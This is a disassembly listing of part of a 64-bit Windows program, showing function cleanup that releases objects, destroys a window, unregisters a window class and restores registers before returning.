call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0x648], reloc.WS2_32.dll_select
call fcn.14004c1f0
call fcn.14004d220
xor ecx, ecx
call fcn.14001d780
mov rcx, qword [0x140123928]
test rcx, rcx
je 0x14006a09c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140123928], r14
mov rcx, qword [0x140123970]
test rcx, rcx
je 0x14006a0b5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140123970], r14
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x370]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm14, xmmword [rsp + 0xc00]
xor eax, eax
movaps xmm13, xmmword [rsp + 0xc10]
movaps xmm12, xmmword [rsp + 0xc20]
movaps xmm11, xmmword [rsp + 0xc30]
movaps xmm10, xmmword [rsp + 0xc40]
movaps xmm9, xmmword [rsp + 0xc50]
movaps xmm8, xmmword [rsp + 0xc60]
movaps xmm7, xmmword [rsp + 0xc70]
movaps xmm6, xmmword [rsp + 0xc80]
mov r15, qword [rsp + 0xc90]
mov r13, qword [rsp + 0xcd0]
mov r12, qword [rsp + 0xcc8]
mov rsi, qword [rsp + 0xcc0]
movaps xmm15, xmmword [rsp + 0xbf0]
mov rcx, qword [rbp + 0xae0]
xor rcx, rsp
call fcn.1400b7e00
add rsp, 0xc98
pop r14
pop rdi
pop rbx
pop rbp
ret
call fcn.14005b800
mov rdx, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x370]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x14006a150
mov qword [rax], 0
lea rax, [rax + 8]
sub rcx, 1
jne 0x14006a190
lea rcx, [0x1401247e8]
call fcn.1400b7c04
jmp 0x14005c6e2
lea rcx, [0x140124268]
call fcn.1400b7c70
cmp dword [0x140124268], 0xffffffff
jne 0x14005c6cc
mov rax, r15
mov ecx, 0xaf
nop dword [rax]
nop word [rax + rax]
mov qword [rax], 0
lea rax, [rax + 8]
sub rcx, 1
jne 0x14006a1e0
lea rcx, [0x140124268]
call fcn.1400b7c04
jmp 0x14005c6cc
lea rcx, [0x1401247e8]
call fcn.1400b7c70
cmp dword [0x1401247e8], 0xffffffff
lea rsi, [0x140124270]
jne 0x14005c6e2
mov rax, rsi
mov ecx, 0xaf
jmp 0x14006a190